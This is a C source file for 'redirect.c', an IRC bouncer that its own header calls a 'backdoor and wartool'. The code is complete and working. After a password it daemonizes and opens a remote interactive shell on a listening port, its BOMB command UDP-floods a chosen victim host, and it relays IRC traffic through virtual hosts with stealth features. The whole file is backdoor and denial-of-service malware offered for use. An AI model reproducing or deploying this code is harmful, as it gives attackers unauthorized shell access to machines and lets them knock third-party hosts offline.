/*
** redirect.c v2.8 by mynock
** IRC bouncer, backdoor and wartool.
** Uses IRC's PASS feature to chose the destination.
** There used to be a "Simple", but i scratched it with v2.7 :]
** Supports virtual hosting ;)
** Invoke with any arguments for stealth.
** doesn't greet on connect (thx to NetGuru to hint this)
** uses config file if present (thx to NetGuru to hint this)
**	default name is redirectrc, password / shellpassword / listenport
**	one entry per line
** added fapi-like UDP bombing feature
** added SIGCHLD handler
**
** gcc -O2 -o redirect redirect.c
**  cc -o redirect redirect.c
** If it fails, you also need -lsocket -lnsl
** -DNOSHELL to disallow shell access
** -DNOUDP to disallow UDP bombing
** -DBABYSITTER to get redirect to use a different SIGCHLD handling to prevent
**		zombies on funny systems
**
** Remote commands:
** connect to the bouncer via telnet, netcat or similar.
** You now have the following options:
** LIST <bouncerpass>
**	will list _all_ available vhosts _if_ the bouncer runs on linux
** SHELL <shellpass>
**	will invoke a shell for you. not very comfortable, but a nice
**	feature :)
** BOMB <shellpass> <host> <size>
**	will UDP bomb the host until you disconnect :))
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
#include <time.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#ifdef __linux__
#include <sys/ioctl.h>
#include <net/if.h>
#endif

#define VERSION "redirect.c v2.8 by mynock"

#ifndef CONFFILE
#define CONFFILE "redirectrc"
#endif
#ifndef LPORT
#define LPORT 4755
#endif
#ifndef DEFPORT
#define DEFPORT 6667
#endif

#define STDIN	0
#define STDOUT	1
#define STDERR	2

#ifndef BACKLOG
#define BACKLOG 4
#endif

#ifndef BUFSIZ
#define BUFSIZ 4096
#endif
#define IRCLEN 512 /* RFC 1459 */
#define DELIM ", \n\r"

#define SWRITE(f, s) write(f, s, strlen(s))

char buf[BUFSIZ]; /* i know. ugly globals. but nice to cut the size somewhat*/
char password[BUFSIZ];
char shpassword[BUFSIZ];
/* sorry... might get unused variable if you disable shell and UDP ... */
/* but since not all cc's support #if defined() etc, this is the only  */
/* senseful portable way :|                                            */

#define NUMUDP 1000

#ifdef __STDC__
int getconfig();
int serve(int sock);
int fdreadln(int fd, char *buf, int len);
int datapipe(int sock1, int sock2);
int lsvhosts(int sock);
int udpbomb(int client, char *args);
#ifdef BABYSITTER
void do_chld(int sig);
#endif
#endif 

#ifdef __STDC__
int main(void){
#else
int main()
	{
#endif
	int lsock, csock, i;
	struct sockaddr_in laddr, caddr;
	int caddrlen = sizeof(caddr);
	FILE *fp;
	
	puts(VERSION);
	if((fp=fopen(CONFFILE, "r"))!=NULL){
		printf("using config file %s\n", CONFFILE);
		if(!getconfig(fp))
			exit(1);
	}else
		if(!getconfig(stdin))
			exit(1);

	if((lsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP))==-1){
		perror("socket()");
		return 1;
	}
	laddr.sin_family = AF_INET;
	laddr.sin_addr.s_addr = htonl(0);
	laddr.sin_port = htons((unsigned short)atol(buf));
	if(laddr.sin_port == 0)
		laddr.sin_port = htons(LPORT);
	printf("Creating listenport on %i\n", ntohs(laddr.sin_port));
	if(bind(lsock, (struct sockaddr*)&laddr, sizeof(laddr))==-1){
		perror("bind()");
		return 2;
	}
	if(listen(lsock, BACKLOG)==-1){
		perror("listen()");
		return 3;
	}
#ifdef BABYSITTER
	if(signal(SIGCHLD, do_chld)==SIG_ERR)
		printf("Can't handle SIGCHLD. You might encounter zombies.\n");
#else
	if(signal(SIGCHLD, SIG_IGN)==SIG_ERR)
		printf("Can't ignore SIGCHLD. You might encounter zombies.\n");
#endif
	signal(SIGINT, SIG_IGN);
	printf("Going daemon ... "); fflush(stdout);
	if((i = fork())==-1){
		perror("fork()");
		return 4;
	}
	if(i > 0){
		printf("done (%i).\n", i);
		return 0;
	}
	setsid();
	chdir("/");
	close(0); close(1); close(2);
	while((csock = accept(lsock, (struct sockaddr*)&caddr, &caddrlen)) != -1){
		if((i = fork())==-1){
			SWRITE(csock, "NOTICE REDIR :FATAL: first fork() failed, trying again\n");
			wait(NULL);
			i = fork();
		}
		if (i == -1){
			SWRITE(csock, "NOTICE REDIR :FATAL: fork() failed\n");
			close(csock);
		}else if (i == 0){
			close(lsock);
			serve(csock);
			close(csock);
			exit(0);
		}else{
			close(csock);
		}
	}
	/* something weird happened :) */
	return 5;
}

#ifdef __STDC__
int getconfig(FILE *fp){
#else
int getconfig(fp)
	FILE *fp;
	{
#endif
	printf("password (default none): "); fflush(stdout);
	if(fgets(password, BUFSIZ, fp)==NULL){
		fprintf(stderr, "Config error: password\n");
		return 0;
	}
	password[strlen(password)-1]='\0';
	if(strlen(password)==0){
		puts("no password");
	}else{
		printf("password set to \"%s\"\n", password);
	}
#ifndef NOSHELL
	printf("shell password (default none): "); fflush(stdout);
	if(fgets(shpassword, BUFSIZ, fp)==NULL){
		fprintf(stderr, "Config error: shell password\n");
		return 0;
	}
	shpassword[strlen(shpassword)-1]='\0';
	if(strlen(shpassword)==0){
		puts("no shell password");
	}else{
		printf("shell password set to \"%s\"\n", shpassword);
	}
#endif
	printf("listen port (default %i): ", LPORT); fflush(stdout);
	if(fgets(buf, BUFSIZ, fp)==NULL){
		fprintf(stderr, "Config error: listen port\n");
		return 0;
	}
	return 1;
}

#ifdef __STDC__
int serve(int csock){
#else
int serve(csock)
	int csock;
	{
#endif
	char nick[IRCLEN], user[IRCLEN], *server, *ports, *vhost;
	struct sockaddr_in ssaddr;
	struct hostent *he;
	int ssock=0;
	int nopass = 1;
	*nick = *user = 0;
	while((nopass)&&(fdreadln(csock, buf, BUFSIZ)>0)){
		switch(buf[0]){
#ifndef NOUDP
			case 'B': case 'b':
				if(strncmp(buf, "BOMB", 4)==0){
					if((!strlen(shpassword))||
					   ((strlen(buf)>7)&&(strncmp(buf+5, shpassword, strlen(shpassword))==0))
					    ){
						if((strlen(buf)<(6+strlen(shpassword)))||(!udpbomb(csock, buf+6)))
							SWRITE(csock, "NOTICE REDIR :usage: BOMB <password> <victim> <size> [vhost]\n");
					}else
						SWRITE(csock, "NOTICE REDIR :Access denied\n");
				}
				close(csock);
				exit(0);
				break;
#endif
			case 'L': case 'l':
				if(strncmp(buf, "LIST", 4)==0){
					if((!strlen(password))||
					   ((strlen(buf)>6)&&(strncmp(buf+5, password, strlen(password))==0))
					    ){
						SWRITE(csock, "NOTICE REDIR :Listing virtual hosts\n");
						lsvhosts(csock);
					}else{
						SWRITE(csock, "NOTICE REDIR :Access Denied\n");
					}
				}
				close(csock);
				exit(0);
				break;
			case 'N': case 'n':
				if(strncmp(buf, "NICK", 4)==0)
					strncpy(nick, buf, IRCLEN);
				break;
			case 'P': case 'p':
				if(strncmp(buf, "PASS", 4)==0){
					nopass=0;
				}
				break;
#ifndef NOSHELL
			case 'S': case 's':
				if(strncmp(buf, "SHELL", 5)==0){
					if((!strlen(shpassword))||
					   ((strlen(buf)>7)&&(strncmp(buf+6, shpassword, strlen(shpassword))==0))
					    ){
						SWRITE(csock, "NOTICE REDIR :executing shell\n");
						switch(csock){
							case STDIN:
								dup2(csock, STDOUT);
								dup2(csock, STDERR);
								break;
							case STDOUT:
								dup2(csock, STDIN);
								dup2(csock, STDERR);
								break;
							case STDERR:
								dup2(csock, STDIN);
								dup2(csock, STDOUT);
								break;
							default:
								dup2(csock, STDIN);
								dup2(csock, STDOUT);
								dup2(csock, STDERR);
								break;
						}
						execl("/bin/sh", "sh", "-i", NULL);
					}else{
						SWRITE(csock, "NOTICE REDIR :Access Denied\n");
					}
				}
				break;
#endif
			case 'U': case 'u':
				if(strncmp(buf, "USER", 4)==0)
					strncpy(user, buf, IRCLEN);
				break;
			}
	}

	if(!strtok(buf, DELIM)){
		SWRITE(csock, "NOTICE REDIR :Access denied\n");
		return 1;
	}
	server = strtok(NULL, DELIM);
	if(*password){
		/* if we have a password, the first word is pass, else the
		** dest server
		*/
		if((!server)||strcmp(server, password)){
			SWRITE(csock, "NOTICE REDIR :Access denied\n");
			return 1;
		}
		server = strtok(NULL, DELIM);
	}
	ports = strtok(NULL, DELIM);
	vhost = strtok(NULL, DELIM);
	if(!server){
		SWRITE(csock, "NOTICE REDIR :Syntax error - no server specified\n");
		return 1;
	}
	
	SWRITE(csock, "NOTICE REDIR :Welcome to redirect ");
	SWRITE(csock, VERSION);
	SWRITE(csock, "\nNOTICE REDIR :Bouncing to ");
	write(csock, server, strlen(server));
	if(ports){
		write(csock, ":", 1);
		SWRITE(csock, ports);
	}
	write(csock, "\n", 1);
	if((ssock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1){
		SWRITE(csock, "NOTICE REDIR :FATAL: Can't create socket.\n");
		return 1;
	}
	if(vhost){
		ssaddr.sin_family = AF_INET;
		ssaddr.sin_port = 0;
		if((ssaddr.sin_addr.s_addr = inet_addr(vhost))==(unsigned long)-1){
			if((he = gethostbyname(vhost))==NULL){
				SWRITE(csock, "NOTICE REDIR :FATAL: Can't resolve virtual host \"");
				SWRITE(csock, vhost);
				SWRITE(csock, "\".\n");
				return 1;
			}
			memcpy((char *)&ssaddr.sin_addr, he->h_addr, he->h_length);
		}
		if(bind(ssock, (struct sockaddr *)&ssaddr, sizeof(struct sockaddr_in))==-1){
			SWRITE(csock, "NOTICE REDIR :FATAL: Can't bind to virtual host \"");
			SWRITE(csock, vhost);
			SWRITE(csock, "\".\n");
			return 1;
		}
	}
	ssaddr.sin_family = AF_INET;
	ssaddr.sin_port = htons(ports?(unsigned short)atol(ports):DEFPORT);
	/*if(!inet_aton(server, &ssaddr.sin_addr)){*/
	if((ssaddr.sin_addr.s_addr = inet_addr(server))==(unsigned long)-1){
		if((he = gethostbyname(server))==NULL){
			SWRITE(csock, "NOTICE REDIR :FATAL: Can't resolve host.\n");
                        return 1;
                }
                memcpy((char *)&ssaddr.sin_addr, he->h_addr, he->h_length);
        }
	if((connect(ssock, (struct sockaddr *)&ssaddr, sizeof(ssaddr)))==-1){
		SWRITE(csock, "NOTICE REDIR :FATAL: Can't connect to remote host.\n");
		return 1;
	}
	if(*nick){
		write(ssock, nick, strlen(nick));
		write(ssock, "\n", 1);
	}
	if(*user){
		write(ssock, user, strlen(user));
		write(ssock, "\n", 1);
	}
	nopass = datapipe(csock, ssock); /* nopass abused as return value storage */
	close(csock); close(ssock);
	return nopass;
}

#ifdef __STDC__
int fdreadln(int fd, char *buf, int len){
#else
int fdreadln(fd, buf, len)
	int fd;
	char *buf;
	int len;
	{
#endif
	char c;
	int i, r;
	for(i=0; (r=read(fd, &c, 1))&&(i<len); i++){
		if(r==-1)
			return -1;
		if((c == '\n')||(c == '\0')){
			buf[i] = '\0';
			return i;
		}else{
			buf[i] = c;
		}
	}
	buf[i] = '\0';
	return i;
}

#ifdef __STDC__
int lsvhosts(int sock){
#else
int lsvhosts(sock)
	int sock;
	{
#endif
#ifdef __linux__
	struct ifreq *rv;
	struct ifconf ifc;
	struct sockaddr_in *sin;
	int sd, i, s, n=2;
	struct hostent *he;

	ifc.ifc_buf = NULL;
	if((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
		SWRITE(sock, "NOTICE REDIR :socket() failed\n");
		return 1;
	}
	do {
        	n *= 2;
		ifc.ifc_buf = realloc(ifc.ifc_buf, (ifc.ifc_len = s =
					n*sizeof(struct ifreq)));
		if (ifc.ifc_buf == NULL) {
        		SWRITE(sock, "NOTICE REDIR :Out of memory\n");
			return 1;
		}

		if (ioctl(sd, SIOCGIFCONF, &ifc) < 0) {
			SWRITE(sock, "NOTICE REDIR :ioctl(SIOCGIFCONF) failed\n");
			return 1;
		}
	} while (ifc.ifc_len == s);
	rv = (struct ifreq *)ifc.ifc_buf;

	for (i = 0; (unsigned)i < ifc.ifc_len / sizeof(struct ifreq); i++) {
		sin = ((struct sockaddr_in*)&rv[i].ifr_addr);
		if((he = gethostbyaddr((char*)&(sin->sin_addr), sizeof(sin), AF_INET))==NULL){
			SWRITE(sock, inet_ntoa(sin->sin_addr));
		}else{
			SWRITE(sock, he->h_name);
		}
		SWRITE(sock, "\n");
	}
	close(sd);
	free(ifc.ifc_buf);
	return(0);
#else
	SWRITE(sock, "NOTICE REDIR :vhost list only supportet on linux\n");
#endif
}

#ifndef NOUDP
#ifdef __STDC__
int udpbomb(int client, char *args){
#else
int udpbomb(client, args)
	int client;
	char *args;
	{
#endif
        int size, sock;
	char *victim, *siz, *vhost;
	void *buf;
	struct sockaddr_in saddr, vhsaddr;
	struct hostent *he;
	fd_set fdsr, fdse;
	struct timeval timeout;

	victim = strtok(args, " ");
	victim = strtok(NULL, " ");
	siz    = strtok(NULL, " ");
	vhost  = strtok(NULL, " ");
	if((victim==NULL)||(siz==NULL)){
		return 0;
	}
	size = atoi(siz);

	if(vhost != NULL){
		if((vhsaddr.sin_addr.s_addr = inet_addr(vhost))==(unsigned long)-1){
			if((he = gethostbyname(vhost))==NULL){
				SWRITE(client, "NOTICE REDIR :FATAL: Can't resolve vhost \"");
				SWRITE(client, vhost);
				SWRITE(client, "\".\n");
				return 0;
			}
			memcpy((char *)&vhsaddr.sin_addr, he->h_addr, he->h_length);
		}
		vhsaddr.sin_family = AF_INET;
		vhsaddr.sin_port   = 0;		
	}

	if((saddr.sin_addr.s_addr = inet_addr(victim))==(unsigned long)-1){
		if((he = gethostbyname(victim))==NULL){
			SWRITE(client, "NOTICE REDIR :FATAL: Can't resolve victim host \"");
			SWRITE(client, victim);
			SWRITE(client, "\".\n");
			return 0;
		}
		memcpy((char *)&saddr.sin_addr, he->h_addr, he->h_length);
	}

        buf = (void*)malloc(size);
	if(buf==NULL){
		SWRITE(client, "NOTICE REDIR :FATAL: Not enough memory\n");
		return 0;
	}
	SWRITE(client, "UDP bombing - disconnect to stop\n");
	
	while(1){
		/* exit on disconnect */
		FD_ZERO(&fdsr); FD_ZERO(&fdse);
		FD_SET(client, &fdsr); FD_SET(client, &fdse);
		timeout.tv_sec = timeout.tv_usec = 0;
		if(select(client+1, &fdsr, NULL, &fdse, &timeout)==-1){
			SWRITE(client, "select() failed, exiting\n");
			free(buf);
			return 0;
		}
		if(FD_ISSET(client, &fdsr)||FD_ISSET(client, &fdse))
			if(read(client, buf, size)<=0){
				free(buf);
				return 0;
			}
		/* UDP bomb */
		if((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1){
			SWRITE(client, "socket() failed [ignored]\n");
			continue;
		}
		if(vhost)
			if(bind(sock, (struct sockaddr*)&vhsaddr, sizeof(struct sockaddr_in))==-1)
				SWRITE(client, "bind() failed [ignored]\n");
		saddr.sin_family = AF_INET;
		saddr.sin_port   = htons(rand()%65000);
		if(sendto(sock, buf, size, 0, (struct sockaddr*)&saddr, sizeof(struct sockaddr_in)) == -1){
			SWRITE(client, "sendto() failed [ignored]\n");
			continue;
		}
		close(sock);
	}
	return 1;
}
#endif

#ifdef BABYSITTER
#ifdef __STDC__
void do_chld(int sig){
#else
int do_chld(sig)
	int sig;
	{
#endif
	int status;
	signal(SIGCHLD, do_chld);
	wait(&status);
}
#endif

#ifdef __STDC__
int datapipe(int sock1, int sock2){
#else
int datapipe(sock1, sock2)
	int sock1, sock2;
	{
#endif
	fd_set fdsr, fdse;
	int r;
	for(;;){
		FD_ZERO(&fdsr); FD_ZERO(&fdse);
		FD_SET(sock1, &fdsr); FD_SET(sock1, &fdse);
		FD_SET(sock2, &fdsr); FD_SET(sock2, &fdse);

		if(select(sock1>sock2?sock1+1:sock2+1, &fdsr, NULL, &fdse, NULL)<=0){
			SWRITE(sock1, "NOTICE REDIR :FATAL: Can't select()");
			return 0;
		}
		if (FD_ISSET(sock1, &fdsr)||FD_ISSET(sock1, &fdse)){
			if((r=read(sock1, buf, BUFSIZ))<=0)
				return 0;
			else if(write(sock2, buf, r)<=0)
				return 0;
		}
		if (FD_ISSET(sock2, &fdsr)||FD_ISSET(sock2, &fdse)){
			if((r=read(sock2, buf, BUFSIZ))<=0)
				return 0;
			else if(write(sock1, buf, r)<=0)
				return 0;
		}
	}
}

